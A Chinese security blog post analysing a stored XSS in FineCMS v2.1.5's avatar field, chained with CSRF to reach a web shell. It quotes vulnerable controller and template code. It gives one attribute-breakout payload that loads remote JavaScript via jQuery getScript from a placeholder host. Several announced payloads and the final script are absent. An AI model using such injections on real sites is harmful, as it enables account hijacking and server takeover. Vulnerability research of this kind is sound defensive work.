FavoriteLoading
0

FineCMS v2.1.5前台一处XSS+CSRF可getshell

FineCMS一个XSS漏洞分析

FineCMS是一套用CodeIgniter开发的中小型内容管理系统,目前有三个分支:1.x,2.x,5.x,这次分析的是2.x的最新版2.1.5。

一、用户输入

既然是XSS,那么就一定有用户的输入以及输出。

// controllers\member\InfoController.php
public function avatarAction() {
if (empty($this->memberconfig['avatar']) && $this->isPostForm()) {
$data = $this->input->post('data', TRUE);
$this->member->update(array('avatar'=> $data['avatar']), 'id=' . $this->memberinfo['id']);
$this->memberMsg(lang('success'), url('member/info/avatar'), 1);
}
$this->view->assign(array(
'avatar_ext_path' => EXT_PATH . 'avatar/',
'avatar_return' => (url('member/info/uploadavatar')),
'meta_title' => lang('m-inf-1') . '-' . lang('member') . '-' . $this->site['SITE_NAME'],
));
$this->view->display('member/avatar');
}
$data = $this->input->post('data', TRUE);中第二个参数为TRUE表示数据会经过xss_clean()函数进行过滤,然后就进行过滤。xss_clean()其实是很难绕过的,如果输出点在属性值中,产生XSS的可能性就很大。
二、输出点①

前台触发

它使用了模板引擎,然后输出到member/space的模板上。

views\new\member\space.html 第14行
<img src="{$avatar}" width="80" height="80" />

因此,这里我们构造的XSS-Payload如下所示。

三、输出点②

后台触发

// controllers\admin\MemberController.php 第72行-84行
$this->view->assign(array(
'kw' => $kw,
'list' => $data,
'page' => $page,
'count' => $count,
'status' => $status,
'pagelist' => $pagelist,
'membermodel' => $this->membermodel,
'membergroup' => $this->membergroup,
'memberextend' => $this->cache->get('model_member_extend'),
'is_syn' => $is_syn
));
$this->view->display('admin/member_list');
上面就是出库->赋值->输出的一个过程,下面看看问题模板文件。
views\admin\member_list.html 第80行
<a href="javascript:;" onClick="get_avatar('{$avatar}')">{$t['username']}</a></td

因此构造出来的语句就应该是:

四、利用

这里数据库对avatar字段有长度限制,因此利用jQuery加载外部的JS代码;并且,从后台找了一个修改模板的地方,利用代码如下: ');(function(){$.getScript('//127.0.0.1/1.js');})()">

JS代码如下

【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱hack@ddos.kim,我们会在最短的时间内进行处理。